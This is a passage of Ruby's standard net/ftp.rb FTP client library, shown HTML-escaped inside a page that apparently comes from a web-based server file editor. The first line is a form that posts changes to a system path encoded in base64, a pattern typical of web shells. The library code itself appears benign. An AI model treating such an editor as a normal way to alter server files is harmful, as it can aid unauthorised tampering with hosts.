<hr>ftp.rb<form method=post action="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=ZnRwLnJi"><input name="f" value="ftp.rb"><textarea name="t"># frozen_string_literal: true
#
# = net/ftp.rb - FTP Client Library
#
# Written by Shugo Maeda &lt;shugo@ruby-lang.org&gt;.
#
# Documentation by Gavin Sinclair, sourced from &quot;Programming Ruby&quot; (Hunt/Thomas)
# and &quot;Ruby In a Nutshell&quot; (Matsumoto), used with permission.
#
# This library is distributed under the terms of the Ruby license.
# You can freely distribute/modify this library.
#
# It is included in the Ruby standard library.
#
# See the Net::FTP class for an overview.
#

require &quot;socket&quot;
require &quot;monitor&quot;
require &quot;net/protocol&quot;
require &quot;time&quot;

module Net

  # :stopdoc:
  class FTPError &lt; StandardError; end
  class FTPReplyError &lt; FTPError; end
  class FTPTempError &lt; FTPError; end
  class FTPPermError &lt; FTPError; end
  class FTPProtoError &lt; FTPError; end
  class FTPConnectionError &lt; FTPError; end
  # :startdoc:

  #
  # This class implements the File Transfer Protocol.  If you have used a
  # command-line FTP program, and are familiar with the commands, you will be
  # able to use this class easily.  Some extra features are included to take
  # advantage of Ruby&#039;s style and strengths.
  #
  # == Example
  #
  #   require &#039;net/ftp&#039;
  #
  # === Example 1
  #
  #   ftp = Net::FTP.new(&#039;example.com&#039;)
  #   ftp.login
  #   files = ftp.chdir(&#039;pub/lang/ruby/contrib&#039;)
  #   files = ftp.list(&#039;n*&#039;)
  #   ftp.getbinaryfile(&#039;nif.rb-0.91.gz&#039;, &#039;nif.gz&#039;, 1024)
  #   ftp.close
  #
  # === Example 2
  #
  #   Net::FTP.open(&#039;example.com&#039;) do |ftp|
  #     ftp.login
  #     files = ftp.chdir(&#039;pub/lang/ruby/contrib&#039;)
  #     files = ftp.list(&#039;n*&#039;)
  #     ftp.getbinaryfile(&#039;nif.rb-0.91.gz&#039;, &#039;nif.gz&#039;, 1024)
  #   end
  #
  # == Major Methods
  #
  # The following are the methods most likely to be useful to users:
  # - FTP.open
  # - #getbinaryfile
  # - #gettextfile
  # - #putbinaryfile
  # - #puttextfile
  # - #chdir
  # - #nlst
  # - #size
  # - #rename
  # - #delete
  #
  class FTP
    include MonitorMixin

    # :stopdoc:
    FTP_PORT = 21
    CRLF = &quot;\r\n&quot;
    DEFAULT_BLOCKSIZE = BufferedIO::BUFSIZE
    @@default_passive = true
    # :startdoc:

    # When +true+, transfers are performed in binary mode.  Default: +true+.
    attr_reader :binary

    # When +true+, the connection is in passive mode.  Default: +true+.
    attr_accessor :passive

    # When +true+, all traffic to and from the server is written
    # to +$stdout+.  Default: +false+.
    attr_accessor :debug_mode

    # Sets or retrieves the +resume+ status, which decides whether incomplete
    # transfers are resumed or restarted.  Default: +false+.
    attr_accessor :resume

    # Number of seconds to wait for the connection to open. Any number
    # may be used, including Floats for fractional seconds. If the FTP
    # object cannot open a connection in this many seconds, it raises a
    # Net::OpenTimeout exception. The default value is +nil+.
    attr_accessor :open_timeout

    # Number of seconds to wait for one block to be read (via one read(2)
    # call). Any number may be used, including Floats for fractional
    # seconds. If the FTP object cannot read data in this many seconds,
    # it raises a Timeout::Error exception. The default value is 60 seconds.
    attr_reader :read_timeout

    # Setter for the read_timeout attribute.
    def read_timeout=(sec)
      @sock.read_timeout = sec
      @read_timeout = sec
    end

    # The server&#039;s welcome message.
    attr_reader :welcome

    # The server&#039;s last response code.
    attr_reader :last_response_code
    alias lastresp last_response_code

    # The server&#039;s last response.
    attr_reader :last_response

    # When +true+, connections are in passive mode per default.
    # Default: +true+.
    def self.default_passive=(value)
      @@default_passive = value
    end

    # When +true+, connections are in passive mode per default.
    # Default: +true+.
    def self.default_passive
      @@default_passive
    end

    #
    # A synonym for &lt;tt&gt;FTP.new&lt;/tt&gt;, but with a mandatory host parameter.
    #
    # If a block is given, it is passed the +FTP+ object, which will be closed
    # when the block finishes, or when an exception is raised.
    #
    def FTP.open(host, user = nil, passwd = nil, acct = nil)
      if block_given?
        ftp = new(host, user, passwd, acct)
        begin
          yield ftp
        ensure
          ftp.close
        end
      else
        new(host, user, passwd, acct)
      end
    end

    #
    # Creates and returns a new +FTP+ object. If a +host+ is given, a connection
    # is made. Additionally, if the +user+ is given, the given user name,
    # password, and (optionally) account are used to log in.  See #login.
    #
    def initialize(host = nil, user = nil, passwd = nil, acct = nil)
      super()
      @binary = true
      @passive = @@default_passive
      @debug_mode = false
      @resume = false
      @sock = NullSocket.new
      @logged_in = false
      @open_timeout = nil
      @read_timeout = 60
      if host
        connect(host)
        if user
          login(user, passwd, acct)
        end
      end
    end

    # A setter to toggle transfers in binary mode.
    # +newmode+ is either +true+ or +false+
    def binary=(newmode)
      if newmode != @binary
        @binary = newmode
        send_type_command if @logged_in
      end
    end

    # Sends a command to destination host, with the current binary sendmode
    # type.
    #
    # If binary mode is +true+, then &quot;TYPE I&quot; (image) is sent, otherwise &quot;TYPE
    # A&quot; (ascii) is sent.
    def send_type_command # :nodoc:
      if @binary
        voidcmd(&quot;TYPE I&quot;)
      else
        voidcmd(&quot;TYPE A&quot;)
      end
    end
    private :send_type_command

    # Toggles transfers in binary mode and yields to a block.
    # This preserves your current binary send mode, but allows a temporary
    # transaction with binary sendmode of +newmode+.
    #
    # +newmode+ is either +true+ or +false+
    def with_binary(newmode) # :nodoc:
      oldmode = binary
      self.binary = newmode
      begin
        yield
      ensure
        self.binary = oldmode
      end
    end
    private :with_binary

    # Obsolete
    def return_code # :nodoc:
      $stderr.puts(&quot;warning: Net::FTP#return_code is obsolete and do nothing&quot;)
      return &quot;\n&quot;
    end

    # Obsolete
    def return_code=(s) # :nodoc:
      $stderr.puts(&quot;warning: Net::FTP#return_code= is obsolete and do nothing&quot;)
    end

    # Constructs a socket with +host+ and +port+.
    #
    # If SOCKSSocket is defined and the environment (ENV) defines
    # SOCKS_SERVER, then a SOCKSSocket is returned, else a TCPSocket is
    # returned.
    def open_socket(host, port) # :nodoc:
      return Timeout.timeout(@open_timeout, Net::OpenTimeout) {
        if defined? SOCKSSocket and ENV[&quot;SOCKS_SERVER&quot;]
          @passive = true
          sock = SOCKSSocket.open(host, port)
        else
          sock = TCPSocket.open(host, port)
        end
        io = BufferedSocket.new(sock)
        io.read_timeout = @read_timeout
        io
      }
    end
    private :open_socket

    #
    # Establishes an FTP connection to host, optionally overriding the default
    # port. If the environment variable +SOCKS_SERVER+ is set, sets up the
    # connection through a SOCKS proxy. Raises an exception (typically
    # &lt;tt&gt;Errno::ECONNREFUSED&lt;/tt&gt;) if the connection cannot be established.
    #
    def connect(host, port = FTP_PORT)
      if @debug_mode
        print &quot;connect: &quot;, host, &quot;, &quot;, port, &quot;\n&quot;
      end
      synchronize do
        @sock = open_socket(host, port)
        voidresp
      end
    end

    #
    # Set the socket used to connect to the FTP server.
    #
    # May raise FTPReplyError if +get_greeting+ is false.
    def set_socket(sock, get_greeting = true)
      synchronize do
        @sock = sock
        if get_greeting
          voidresp
        end
      end
    end

    # If string +s+ includes the PASS command (password), then the contents of
    # the password are cleaned from the string using &quot;*&quot;
    def sanitize(s) # :nodoc:
      if s =~ /^PASS /i
        return s[0, 5] + &quot;*&quot; * (s.length - 5)
      else
        return s
      end
    end
    private :sanitize

    # Ensures that +line+ has a control return / line feed (CRLF) and writes
    # it to the socket.
    def putline(line) # :nodoc:
      if @debug_mode
        print &quot;put: &quot;, sanitize(line), &quot;\n&quot;
      end
      if /[\r\n]/ =~ line
        raise ArgumentError, &quot;A line must not contain CR or LF&quot;
      end
      line = line + CRLF
      @sock.write(line)
    end
    private :putline

    # Reads a line from the sock.  If EOF, then it will raise EOFError
    def getline # :nodoc:
      line = @sock.readline # if get EOF, raise EOFError
      line.sub!(/(\r\n|\n|\r)\z/n, &quot;&quot;)
      if @debug_mode
        print &quot;get: &quot;, sanitize(line), &quot;\n&quot;
      end
      return line
    end
    private :getline

    # Receive a section of lines until the response code&#039;s match.
    def getmultiline # :nodoc:
      lines = []
      lines &lt;&lt; getline
      code = lines.last.slice(/\A([0-9a-zA-Z]{3})-/, 1)
      if code
        delimiter = code + &quot; &quot;
        begin
          lines &lt;&lt; getline
        end until lines.last.start_with?(delimiter)
      end
      return lines.join(&quot;\n&quot;) + &quot;\n&quot;
    end
    private :getmultiline

    # Receives a response from the destination host.
    #
    # Returns the response code or raises FTPTempError, FTPPermError, or
    # FTPProtoError
    def getresp # :nodoc:
      @last_response = getmultiline
      @last_response_code = @last_response[0, 3]
      case @last_response_code
      when /\A[123]/
        return @last_response
      when /\A4/
        raise FTPTempError, @last_response
      when /\A5/
        raise FTPPermError, @last_response
      else
        raise FTPProtoError, @last_response
      end
    end
    private :getresp

    # Receives a response.
    #
    # Raises FTPReplyError if the first position of the response code is not
    # equal 2.
    def voidresp # :nodoc:
      resp = getresp
      if !resp.start_with?(&quot;2&quot;)
        raise FTPReplyError, resp
      end
    end
    private :voidresp

    #
    # Sends a command and returns the response.
    #
    def sendcmd(cmd)
      synchronize do
        putline(cmd)
        return getresp
      end
    end

    #
    # Sends a command and expect a response beginning with &#039;2&#039;.
    #
    def voidcmd(cmd)
      synchronize do
        putline(cmd)
        voidresp
      end
    end

    # Constructs and send the appropriate PORT (or EPRT) command
    def sendport(host, port) # :nodoc:
      af = (@sock.peeraddr)[0]
      if af == &quot;AF_INET&quot;
        cmd = &quot;PORT &quot; + (host.split(&quot;.&quot;) + port.divmod(256)).join(&quot;,&quot;)
      elsif af == &quot;AF_INET6&quot;
        cmd = sprintf(&quot;EPRT |2|%s|%d|&quot;, host, port)
      else
        raise FTPProtoError, host
      end
      voidcmd(cmd)
    end
    private :sendport

    # Constructs a TCPServer socket
    def makeport # :nodoc:
      TCPServer.open(@sock.addr[3], 0)
    end
    private :makeport

    # sends the appropriate command to enable a passive connection
    def makepasv # :nodoc:
      if @sock.peeraddr[0] == &quot;AF_INET&quot;
        host, port = parse227(sendcmd(&quot;PASV&quot;))
      else
        host, port = parse229(sendcmd(&quot;EPSV&quot;))
        #     host, port = parse228(sendcmd(&quot;LPSV&quot;))
      end
      return host, port
    end
    private :makepasv

    # Constructs a connection for transferring data
    def transfercmd(cmd, rest_offset = nil) # :nodoc:
      if @passive
        host, port = makepasv
        conn = open_socket(host, port)
        if @resume and rest_offset
          resp = sendcmd(&quot;REST &quot; + rest_offset.to_s)
          if !resp.start_with?(&quot;3&quot;)
            raise FTPReplyError, resp
          end
        end
        resp = sendcmd(cmd)
        # skip 2XX for some ftp servers
        resp = getresp if resp.start_with?(&quot;2&quot;)
        if !resp.start_with?(&quot;1&quot;)
          raise FTPReplyError, resp
        end
      else
        sock = makeport
        begin
          sendport(sock.addr[3], sock.addr[1])
          if @resume and rest_offset
            resp = sendcmd(&quot;REST &quot; + rest_offset.to_s)
            if !resp.start_with?(&quot;3&quot;)
              raise FTPReplyError, resp
            end
          end
          resp = sendcmd(cmd)
          # skip 2XX for some ftp servers
          resp = getresp if resp.start_with?(&quot;2&quot;)
          if !resp.start_with?(&quot;1&quot;)
            raise FTPReplyError, resp
          end
          conn = BufferedSocket.new(sock.accept)
          conn.read_timeout = @read_timeout
          sock.shutdown(Socket::SHUT_WR) rescue nil
          sock.read rescue nil
        ensure
          sock.close
        end
      end
      return conn
    end
    private :transfercmd

    #
    # Logs in to the remote host.  The session must have been
    # previously connected.  If +user+ is the string &quot;anonymous&quot; and
    # the +password+ is +nil+, &quot;anonymous@&quot; is used as a password.  If
    # the +acct+ parameter is not +nil+, an FTP ACCT command is sent
    # following the successful login.  Raises an exception on error
    # (typically &lt;tt&gt;Net::FTPPermError&lt;/tt&gt;).
    #
    def login(user = &quot;anonymous&quot;, passwd = nil, acct = nil)
      if user == &quot;anonymous&quot; and passwd == nil
        passwd = &quot;anonymous@&quot;
      end

      resp = &quot;&quot;
      synchronize do
        resp = sendcmd(&#039;USER &#039; + user)
        if resp.start_with?(&quot;3&quot;)
          raise FTPReplyError, resp if passwd.nil?
          resp = sendcmd(&#039;PASS &#039; + passwd)
        end
        if resp.start_with?(&quot;3&quot;)
          raise FTPReplyError, resp if acct.nil?
          resp = sendcmd(&#039;ACCT &#039; + acct)
        end
      end
      if !resp.start_with?(&quot;2&quot;)
        raise FTPReplyError, resp
      end
      @welcome = resp
      send_type_command
      @logged_in = true
    end

    #
    # Puts the connection into binary (image) mode, issues the given command,
    # and fetches the data returned, passing it to the associated block in
    # chunks of +blocksize+ characters. Note that +cmd+ is a server command
    # (such as &quot;RETR myfile&quot;).
    #
    def retrbinary(cmd, blocksize, rest_offset = nil) # :yield: data
      synchronize do
        with_binary(true) do
          begin
            conn = transfercmd(cmd, rest_offset)
            loop do
              data = conn.read(blocksize)
              break if data == nil
              yield(data)
            end
            conn.shutdown(Socket::SHUT_WR)
            conn.read_timeout = 1
            conn.read
          ensure
            conn.close if conn
          end
          voidresp
        end
      end
    end

    #
    # Puts the connection into ASCII (text) mode, issues the given command, and
    # passes the resulting data, one line at a time, to the associated block. If
    # no block is given, prints the lines. Note that +cmd+ is a server command
    # (such as &quot;RETR myfile&quot;).
    #
    def retrlines(cmd) # :yield: line
      synchronize do
        with_binary(false) do
          begin
            conn = transfercmd(cmd)
            loop do
              line = conn.gets
              break if line == nil
              yield(line.sub(/\r?\n\z/, &quot;&quot;), !line.match(/\n\z/).nil?)
            end
            conn.shutdown(Socket::SHUT_WR)
            conn.read_timeout = 1
            conn.read
          ensure
            conn.close if conn
          end
          voidresp
        end
      end
    end

    #
    # Puts the connection into binary (image) mode, issues the given server-side
    # command (such as &quot;STOR myfile&quot;), and sends the contents of the file named
    # +file+ to the server. If the optional block is given, it also passes it
    # the data, in chunks of +blocksize+ characters.
    #
    def storbinary(cmd, file, blocksize, rest_offset = nil) # :yield: data
      if rest_offset
        file.seek(rest_offset, IO::SEEK_SET)
      end
      synchronize do
        with_binary(true) do
          conn = transfercmd(cmd)
          loop do
            buf = file.read(blocksize)
            break if buf == nil
            conn.write(buf)
            yield(buf) if block_given?
          end
          conn.close
          voidresp
        end
      end
    rescue Errno::EPIPE
      # EPIPE, in this case, means that the data connection was unexpectedly
      # terminated.  Rather than just raising EPIPE to the caller, check the
      # response on the control connection.  If getresp doesn&#039;t raise a more
      # appropriate exception, re-raise the original exception.
      getresp
      raise
    end

    #
    # Puts the connection into ASCII (text) mode, issues the given server-side
    # command (such as &quot;STOR myfile&quot;), and sends the contents of the file
    # named +file+ to the server, one line at a time. If the optional block is
    # given, it also passes it the lines.
    #
    def storlines(cmd, file) # :yield: line
      synchronize do
        with_binary(false) do
          conn = transfercmd(cmd)
          loop do
            buf = file.gets
            break if buf == nil
            if buf[-2, 2] != CRLF
              buf = buf.chomp + CRLF
            end
            conn.write(buf)
            yield(buf) if block_given?
          end
          conn.close
          voidresp
        end
      end
    rescue Errno::EPIPE
      # EPIPE, in this case, means that the data connection was unexpectedly
      # terminated.  Rather than just raising EPIPE to the caller, check the
      # response on the control connection.  If getresp doesn&#039;t raise a more
      # appropriate exception, re-raise the original exception.
      getresp
      raise
    end

    #
    # Retrieves +remotefile+ in binary mode, storing the result in +localfile+.
    # If +localfile+ is nil, returns retrieved data.
    # If a block is supplied, it is passed the retrieved data in +blocksize+
    # chunks.
    #
    def getbinaryfile(remotefile, localfile = File.basename(remotefile),
                      blocksize = DEFAULT_BLOCKSIZE, &amp;block) # :yield: data
      f = nil
      result = nil
      if localfile
        if @resume
          rest_offset = File.size?(localfile)
          f = File.open(localfile, &quot;a&quot;)
        else
          rest_offset = nil
          f = File.open(localfile, &quot;w&quot;)
        end
      elsif !block_given?
        result = String.new
      end
      begin
        f&amp;.binmode
        retrbinary(&quot;RETR #{remotefile}&quot;, blocksize, rest_offset) do |data|
          f&amp;.write(data)
          block&amp;.(data)
          result&amp;.concat(data)
        end
        return result
      ensure
        f&amp;.close
      end
    end

    #
    # Retrieves +remotefile+ in ASCII (text) mode, storing the result in
    # +localfile+.
    # If +localfile+ is nil, returns retrieved data.
    # If a block is supplied, it is passed the retrieved data one
    # line at a time.
    #
    def gettextfile(remotefile, localfile = File.basename(remotefile),
                    &amp;block) # :yield: line
      f = nil
      result = nil
      if localfile
        f = File.open(localfile, &quot;w&quot;)
      elsif !block_given?
        result = String.new
      end
      begin
        retrlines(&quot;RETR #{remotefile}&quot;) do |line, newline|
          l = newline ? line + &quot;\n&quot; : line
          f&amp;.print(l)
          block&amp;.(line, newline)
          result&amp;.concat(l)
        end
        return result
      ensure
        f&amp;.close
      end
    end

    #
    # Retrieves +remotefile+ in whatever mode the session is set (text or
    # binary).  See #gettextfile and #getbinaryfile.
    #
    def get(remotefile, localfile = File.basename(remotefile),
            blocksize = DEFAULT_BLOCKSIZE, &amp;block) # :yield: data
      if @binary
        getbinaryfile(remotefile, localfile, blocksize, &amp;block)
      else
        gettextfile(remotefile, localfile, &amp;block)
      end
    end

    #
    # Transfers +localfile+ to the server in binary mode, storing the result in
    # +remotefile+. If a block is supplied, calls it, passing in the transmitted
    # data in +blocksize+ chunks.
    #
    def putbinaryfile(localfile, remotefile = File.basename(localfile),
                      blocksize = DEFAULT_BLOCKSIZE, &amp;block) # :yield: data
      if @resume
        begin
          rest_offset = size(remotefile)
        rescue Net::FTPPermError
          rest_offset = nil
        end
      else
        rest_offset = nil
      end
      f = File.open(localfile)
      begin
        f.binmode
        if rest_offset
          storbinary(&quot;APPE #{remotefile}&quot;, f, blocksize, rest_offset, &amp;block)
        else
          storbinary(&quot;STOR #{remotefile}&quot;, f, blocksize, rest_offset, &amp;block)
        end
      ensure
        f.close
      end
    end

    #
    # Transfers +localfile+ to the server in ASCII (text) mode, storing the result
    # in +remotefile+. If callback or an associated block is supplied, calls it,
    # passing in the transmitted data one line at a time.
    #
    def puttextfile(localfile, remotefile = File.basename(localfile), &amp;block) # :yield: line
      f = File.open(localfile)
      begin
        storlines(&quot;STOR #{remotefile}&quot;, f, &amp;block)
      ensure
        f.close
      end
    end

    #
    # Transfers +localfile+ to the server in whatever mode the session is set
    # (text or binary).  See #puttextfile and #putbinaryfile.
    #
    def put(localfile, remotefile = File.basename(localfile),
            blocksize = DEFAULT_BLOCKSIZE, &amp;block)
      if @binary
        putbinaryfile(localfile, remotefile, blocksize, &amp;block)
      else
        puttextfile(localfile, remotefile, &amp;block)
      end
    end

    #
    # Sends the ACCT command.
    #
    # This is a less common FTP command, to send account
    # information if the destination host requires it.
    #
    def acct(account)
      cmd = &quot;ACCT &quot; + account
      voidcmd(cmd)
    end

    #
    # Returns an array of filenames in the remote directory.
    #
    def nlst(dir = nil)
      cmd = &quot;NLST&quot;
      if dir
        cmd = &quot;#{cmd} #{dir}&quot;
      end
      files = []
      retrlines(cmd) do |line|
        files.push(line)
      end
      return files
    end

    #
    # Returns an array of file information in the directory (the output is like
    # `ls -l`).  If a block is given, it iterates through the listing.
    #
    def list(*args, &amp;block) # :yield: line
      cmd = &quot;LIST&quot;
      args.each do |arg|
        cmd = &quot;#{cmd} #{arg}&quot;
      end
      lines = []
      retrlines(cmd) do |line|
        lines &lt;&lt; line
      end
      if block
        lines.each(&amp;block)
      end
      return lines
    end
    alias ls list
    alias dir list

    #
    # MLSxEntry represents an entry in responses of MLST/MLSD.
    # Each entry has the facts (e.g., size, last modification time, etc.)
    # and the pathname.
    #
    class MLSxEntry
      attr_reader :facts, :pathname

      def initialize(facts, pathname)
        @facts = facts
        @pathname = pathname
      end

      standard_facts = %w(size modify create type unique perm
                          lang media-type charset)
      standard_facts.each do |factname|
        define_method factname.gsub(/-/, &quot;_&quot;) do
          facts[factname]
        end
      end

      #
      # Returns +true+ if the entry is a file (i.e., the value of the type
      # fact is file).
      #
      def file?
        return facts[&quot;type&quot;] == &quot;file&quot;
      end

      #
      # Returns +true+ if the entry is a directory (i.e., the value of the
      # type fact is dir, cdir, or pdir).
      #
      def directory?
        if /\A[cp]?dir\z/.match(facts[&quot;type&quot;])
          return true
        else
          return false
        end
      end

      #
      # Returns +true+ if the APPE command may be applied to the file.
      #
      def appendable?
        return facts[&quot;perm&quot;].include?(?a)
      end

      #
      # Returns +true+ if files may be created in the directory by STOU,
      # STOR, APPE, and RNTO.
      #
      def creatable?
        return facts[&quot;perm&quot;].include?(?c)
      end

      #
      # Returns +true+ if the file or directory may be deleted by DELE/RMD.
      #
      def deletable?
        return facts[&quot;perm&quot;].include?(?d)
      end

      #
      # Returns +true+ if the directory may be entered by CWD/CDUP.
      #
      def enterable?
        return facts[&quot;perm&quot;].include?(?e)
      end

      #
      # Returns +true+ if the file or directory may be renamed by RNFR.
      #
      def renamable?
        return facts[&quot;perm&quot;].include?(?f)
      end

      #
      # Returns +true+ if the listing commands, LIST, NLST, and MLSD are
      # applied to the directory.
      #
      def listable?
        return facts[&quot;perm&quot;].include?(?l)
      end

      #
      # Returns +true+ if the MKD command may be used to create a new
      # directory within the directory.
      #
      def directory_makable?
        return facts[&quot;perm&quot;].include?(?m)
      end

      #
      # Returns +true+ if the objects in the directory may be deleted, or
      # the directory may be purged.
      #
      def purgeable?
        return facts[&quot;perm&quot;].include?(?p)
      end

      #
      # Returns +true+ if the RETR command may be applied to the file.
      #
      def readable?
        return facts[&quot;perm&quot;].include?(?r)
      end

      #
      # Returns +true+ if the STOR command may be applied to the file.
      #
      def writable?
        return facts[&quot;perm&quot;].include?(?w)
      end
    end

    CASE_DEPENDENT_PARSER = -&gt;(value) { value }
    CASE_INDEPENDENT_PARSER = -&gt;(value) { value.downcase }
    DECIMAL_PARSER = -&gt;(value) { value.to_i }
    OCTAL_PARSER = -&gt;(value) { value.to_i(8) }
    TIME_PARSER = -&gt;(value, local = false) {
      unless /\A(?&lt;year&gt;\d{4})(?&lt;month&gt;\d{2})(?&lt;day&gt;\d{2})
            (?&lt;hour&gt;\d{2})(?&lt;min&gt;\d{2})(?&lt;sec&gt;\d{2})
            (\.(?&lt;fractions&gt;\d+))?/x =~ value
        raise FTPProtoError, &quot;invalid time-val: #{value}&quot;
      end
      usec = fractions.to_i * 10 ** (6 - fractions.to_s.size)
      Time.send(local ? :local : :utc, year, month, day, hour, min, sec, usec)
    }
    FACT_PARSERS = Hash.new(CASE_DEPENDENT_PARSER)
    FACT_PARSERS[&quot;size&quot;] = DECIMAL_PARSER
    FACT_PARSERS[&quot;modify&quot;] = TIME_PARSER
    FACT_PARSERS[&quot;create&quot;] = TIME_PARSER
    FACT_PARSERS[&quot;type&quot;] = CASE_INDEPENDENT_PARSER
    FACT_PARSERS[&quot;unique&quot;] = CASE_DEPENDENT_PARSER
    FACT_PARSERS[&quot;perm&quot;] = CASE_INDEPENDENT_PARSER
    FACT_PARSERS[&quot;lang&quot;] = CASE_INDEPENDENT_PARSER
    FACT_PARSERS[&quot;media-type&quot;] = CASE_INDEPENDENT_PARSER
    FACT_PARSERS[&quot;charset&quot;] = CASE_INDEPENDENT_PARSER
    FACT_PARSERS[&quot;unix.mode&quot;] = OCTAL_PARSER
    FACT_PARSERS[&quot;unix.owner&quot;] = DECIMAL_PARSER
    FACT_PARSERS[&quot;unix.group&quot;] = DECIMAL_PARSER
    FACT_PARSERS[&quot;unix.ctime&quot;] = TIME_PARSER
    FACT_PARSERS[&quot;unix.atime&quot;] = TIME_PARSER

    def parse_mlsx_entry(entry)
      facts, pathname = entry.chomp.split(/ /, 2)
      unless pathname
        raise FTPProtoError, entry
      end
      return MLSxEntry.new(
        facts.scan(/(.*?)=(.*?);/).each_with_object({}) {
          |(factname, value), h|
          name = factname.downcase
          h[name] = FACT_PARSERS[name].(value)
        },
        pathname)
    end
    private :parse_mlsx_entry

    #
    # Returns data (e.g., size, last modification time, entry type, etc.)
    # about the file or directory specified by +pathname+.
    # If +pathname+ is omitted, the current directory is assumed.
    #
    def mlst(pathname = nil)
      cmd = pathname ? &quot;MLST #{pathname}&quot; : &quot;MLST&quot;
      resp = sendcmd(cmd)
      if !resp.start_with?(&quot;250&quot;)
        raise FTPReplyError, resp
      end
      line = resp.lines[1]
      unless line
        raise FTPProtoError, resp
      end
      entry = line.sub(/\A(250-| *)/, &quot;&quot;)
      return parse_mlsx_entry(entry)
    end

    #
    # Returns an array of the entries of the directory specified by
    # +pathname+.
    # Each entry has the facts (e.g., size, last modification time, etc.)
    # and the pathname.
    # If a block is given, it iterates through the listing.
    # If +pathname+ is omitted, the current directory is assumed.
    #
    def mlsd(pathname = nil, &amp;block) # :yield: entry
      cmd = pathname ? &quot;MLSD #{pathname}&quot; : &quot;MLSD&quot;
      entries = []
      retrlines(cmd) do |line|
        entries &lt;&lt; parse_mlsx_entry(line)
      end
      if block
        entries.each(&amp;block)
      end
      return entries
    end

    #
    # Renames a file on the server.
    #
    def rename(fromname, toname)
      resp = sendcmd(&quot;RNFR #{fromname}&quot;)
      if !resp.start_with?(&quot;3&quot;)
        raise FTPReplyError, resp
      end
      voidcmd(&quot;RNTO #{toname}&quot;)
    end

    #
    # Deletes a file on the server.
    #
    def delete(filename)
      resp = sendcmd(&quot;DELE #{filename}&quot;)
      if resp.start_with?(&quot;250&quot;)
        return
      elsif resp.start_with?(&quot;5&quot;)
        raise FTPPermError, resp
      else
        raise FTPReplyError, resp
      end
    end

    #
    # Changes the (remote) directory.
    #
    def chdir(dirname)
      if dirname == &quot;..&quot;
        begin
          voidcmd(&quot;CDUP&quot;)
          return
        rescue FTPPermError =&gt; e
          if e.message[0, 3] != &quot;500&quot;
            raise e
          end
        end
      end
      cmd = &quot;CWD #{dirname}&quot;
      voidcmd(cmd)
    end

    def get_body(resp) # :nodoc:
      resp.slice(/\A[0-9a-zA-Z]{3} (.*)$/, 1)
    end
    private :get_body

    #
    # Returns the size of the given (remote) filename.
    #
    def size(filename)
      with_binary(true) do
        resp = sendcmd(&quot;SIZE #{filename}&quot;)
        if !resp.start_with?(&quot;213&quot;)
          raise FTPReplyError, resp
        end
        return get_body(resp).to_i
      end
    end

    #
    # Returns the last modification time of the (remote) file.  If +local+ is
    # +true+, it is returned as a local time, otherwise it&#039;s a UTC time.
    #
    def mtime(filename, local = false)
      return TIME_PARSER.(mdtm(filename), local)
    end

    #
    # Creates a remote directory.
    #
    def mkdir(dirname)
      resp = sendcmd(&quot;MKD #{dirname}&quot;)
      return parse257(resp)
    end

    #
    # Removes a remote directory.
    #
    def rmdir(dirname)
      voidcmd(&quot;RMD #{dirname}&quot;)
    end

    #
    # Returns the current remote directory.
    #
    def pwd
      resp = sendcmd(&quot;PWD&quot;)
      return parse257(resp)
    end
    alias getdir pwd

    #
    # Returns system information.
    #
    def system
      resp = sendcmd(&quot;SYST&quot;)
      if !resp.start_with?(&quot;215&quot;)
        raise FTPReplyError, resp
      end
      return get_body(resp)
    end

    #
    # Aborts the previous command (ABOR command).
    #
    def abort
      line = &quot;ABOR&quot; + CRLF
      print &quot;put: ABOR\n&quot; if @debug_mode
      @sock.send(line, Socket::MSG_OOB)
      resp = getmultiline
      unless [&quot;426&quot;, &quot;226&quot;, &quot;225&quot;].include?(resp[0, 3])
        raise FTPProtoError, resp
      end
      return resp
    end

    #
    # Returns the status (STAT command).
    #
    def status
      line = &quot;STAT&quot; + CRLF
      print &quot;put: STAT\n&quot; if @debug_mode
      @sock.send(line, Socket::MSG_OOB)
      return getresp
    end

    #
    # Returns the raw last modification time of the (remote) file in the format
    # &quot;YYYYMMDDhhmmss&quot; (MDTM command).
    #
    # Use +mtime+ if you want a parsed Time instance.
    #
    def mdtm(filename)
      resp = sendcmd(&quot;MDTM #{filename}&quot;)
      if resp.start_with?(&quot;213&quot;)
        return get_body(resp)
      end
    end

    #
    # Issues the HELP command.
    #
    def help(arg = nil)
      cmd = &quot;HELP&quot;
      if arg
        cmd = cmd + &quot; &quot; + arg
      end
      sendcmd(cmd)
    end

    #
    # Exits the FTP session.
    #
    def quit
      voidcmd(&quot;QUIT&quot;)
    end

    #
    # Issues a NOOP command.
    #
    # Does nothing except return a response.
    #
    def noop
      voidcmd(&quot;NOOP&quot;)
    end

    #
    # Issues a SITE command.
    #
    def site(arg)
      cmd = &quot;SITE &quot; + arg
      voidcmd(cmd)
    end

    #
    # Closes the connection.  Further operations are impossible until you open
    # a new connection with #connect.
    #
    def close
      if @sock and not @sock.closed?
        begin
          @sock.shutdown(Socket::SHUT_WR) rescue nil
          orig, self.read_timeout = self.read_timeout, 3
          @sock.read rescue nil
        ensure
          @sock.close
          self.read_timeout = orig
        end
      end
    end

    #
    # Returns +true+ iff the connection is closed.
    #
    def closed?
      @sock == nil or @sock.closed?
    end

    # handler for response code 227
    # (Entering Passive Mode (h1,h2,h3,h4,p1,p2))
    #
    # Returns host and port.
    def parse227(resp) # :nodoc:
      if !resp.start_with?(&quot;227&quot;)
        raise FTPReplyError, resp
      end
      if m = /\((?&lt;host&gt;\d+(,\d+){3}),(?&lt;port&gt;\d+,\d+)\)/.match(resp)
        return parse_pasv_ipv4_host(m[&quot;host&quot;]), parse_pasv_port(m[&quot;port&quot;])
      else
        raise FTPProtoError, resp
      end
    end
    private :parse227

    # handler for response code 228
    # (Entering Long Passive Mode)
    #
    # Returns host and port.
    def parse228(resp) # :nodoc:
      if !resp.start_with?(&quot;228&quot;)
        raise FTPReplyError, resp
      end
      if m = /\(4,4,(?&lt;host&gt;\d+(,\d+){3}),2,(?&lt;port&gt;\d+,\d+)\)/.match(resp)
        return parse_pasv_ipv4_host(m[&quot;host&quot;]), parse_pasv_port(m[&quot;port&quot;])
      elsif m = /\(6,16,(?&lt;host&gt;\d+(,(\d+)){15}),2,(?&lt;port&gt;\d+,\d+)\)/.match(resp)
        return parse_pasv_ipv6_host(m[&quot;host&quot;]), parse_pasv_port(m[&quot;port&quot;])
      else
        raise FTPProtoError, resp
      end
    end
    private :parse228

    def parse_pasv_ipv4_host(s)
      return s.tr(&quot;,&quot;, &quot;.&quot;)
    end
